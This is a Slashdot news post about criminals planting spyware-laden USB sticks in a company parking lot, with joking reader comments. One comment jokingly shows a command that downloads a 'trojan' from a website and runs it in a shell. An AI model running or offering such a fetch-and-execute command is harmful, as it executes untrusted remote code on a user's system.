Criminals Distribute Infected USB Sticks In Parking Lot 298
New submitter sabri writes "The Dutch news-site Elsevier is reporting that cybercriminals attempted to steal data from a multinational chemicals company by 'losing' spyware-infected USB sticks on the company's parking lot. Their attempt failed as one of the employees who found the stick dropped it off at the company's IT department, who then found the spyware and issued a warning. So next time, don't expect to find someone's dirty pictures on a USB stick you just found..."
Thats what virtual machines are for. (Score:5, Funny)
Or just browse the thing while running Linux (Score:5, Funny)
Or turn off auto-run in Windows. I once found a USB drive on the ground. Turns out it was some grad student's drive. I tried to return it but got no response from the email I found on his resume.
Re:why would you run something from it? (Score:5, Funny)
I ran one through the driver once
I say old chap, that's a bit rough, what? I hope you paid his medical expenses and gave him a shilling bonus after that experiment. Toodle pip...
He Didn't Have his Home Address on His Resume? (Score:5, Funny)
Re:Personal Story (Score:5, Funny)
Many of them. All alone.
You looked at them all to 'make sure,' huh?
Re:Linux virus (Score:5, Funny)
C:\Users\drawfour>wget houghi.org/trojan && sh trojan
'wget' is not recognized as an internal or external command,
operable program or batch file.
Re:Expensive (Score:3, Funny)
Of course on a properly managed system, also on Windows, such a USB stick will do nothing.
Because all the USB ports are filled with glue.